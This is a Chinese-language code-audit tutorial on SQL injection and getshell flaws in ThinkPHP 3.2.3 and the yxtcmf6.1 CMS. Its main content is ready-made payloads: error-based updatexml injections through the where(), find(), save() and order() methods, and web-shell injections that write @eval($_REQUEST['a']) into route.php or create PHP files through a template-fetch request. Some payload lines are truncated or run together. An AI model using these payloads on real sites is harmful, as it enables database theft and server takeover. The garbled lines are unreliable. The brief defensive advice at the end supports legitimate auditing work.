基于ThinkPHP的CMS审计思路
字数 1550 2025-08-15 21:31:19
ThinkPHP CMS代码审计实战指南
前言
本文基于ThinkPHP 3.2.3框架的yxtcmf6.1 CMS系统进行代码审计实战教学,详细讲解审计思路、工具使用和漏洞挖掘过程。
审计准备
必要工具
- PHPStorm:代码查看与调试
- Seay源码审计系统:自动化审计工具
- phpStudy:本地环境搭建
- AWVS:辅助漏洞扫描
基础了解
- MVC架构:了解Model-View-Controller结构
- ThinkPHP 3.2.3路由:URL对应文件位置规则
- 示例:
http://127.0.0.1:8014/index.php/User/Login/index - 对应文件:
/application/User/LoginController.class.php - 对应函数:
index()
- 示例:
ThinkPHP 3.2.3常见SQL注入模式
1. where()方法注入
$username = $_GET['username'];
$data = M('users')->where(array("username"=>$username))->find();
Payload:
username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)%23
关键点:
- 不能使用
I($_GET['username'])方法接收参数(会过滤'exp') - 最终SQL:
WHERE ( username='admin' and updatexml(1,concat(0x3a,(user())),1)# )
2. find/select/delete()直接注入
$id = I("id");
$data = M("users")->find($id);
Payload:
id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23
关键点:
- 无需单引号闭合
- 最终SQL:
WHERE ( 1 and updatexml(1,concat(0x7e,user(),0x7e),1) # )
3. where()+save()组合注入
$condition["username"] = I("username");
$data["password"] = I("password");
$res = M("users")->where($condition)->save($data);
Payload:
username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456
4. order()方法注入
$username = I("username");
$order = I("order");
$data = M("users")->where(array("username"=>$username))->order($order)->find();
Payload:
username=admin&order[updatexml(1,concat(0x3a,user()),1)]
最终SQL:
ORDER BY updatexml(1,concat(0x3a,user()),1)
实战漏洞挖掘
1. 后台Ad控制器SQL注入
位置:/application/Admin/Controller/AdController.class.php
漏洞代码:
$id = $_REQUEST['ad_id'];
$where = "ad_id=$id";
$ad = M("ad")->where($where)->find();
利用方式:
- 直接通过括号闭合进行注入
- 无需单引号闭合
2. 前台register控制器SQL注入
位置:注册功能相关控制器
关键点:
where()条件参数可控- 可构造特定Payload实现注入
3. 后台任意文件读取
发现方式:
- 通过自动审计发现可疑文件操作函数
- 跟踪变量可控性
4. 后台文件写入GetShell
漏洞位置:路由规则添加功能
利用步骤:
- 访问后台URL规则添加功能
- 构造特殊Payload:
或url=aaa',@eval($_REQUEST['a']),' full_url=a/b/curl=aaa full_url=a/b/c',@eval($_REQUEST['a']),' - 系统将恶意代码写入
route.php
关键点:
full_url必须包含a/b/c格式- 利用单引号闭合插入PHP代码
5. 前台文件写入GetShell
利用方式:
http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(php>
执行流程:
- 检查缓存文件是否存在
- 不存在则写入恶意内容
- 存在则包含执行
审计技巧总结
-
全局搜索关键词:
->find(->select(->delete(->save(->order(
-
自动审计筛选:
- 优先检查直接输出结果的函数:
readfile(),unlink() - 次选需要输出的函数:
fread(),fgets() - 过滤框架核心文件告警
- 优先检查直接输出结果的函数:
-
参数跟踪:
- 检查用户输入是否可控
- 跟踪参数传递过程
- 验证过滤机制有效性
-
辅助验证:
- 使用AWVS等工具二次验证
- 搭建测试环境实际验证
防御建议
- 对所有用户输入使用
I()方法过滤 - 避免直接拼接SQL语句
- 关键操作添加权限验证
- 文件操作限制目录和扩展名
- 及时更新框架版本
通过本教程,您应该掌握了ThinkPHP CMS代码审计的基本方法和常见漏洞模式。实际审计时需要结合具体业务逻辑,耐心跟踪数据流,才能发现更多安全问题。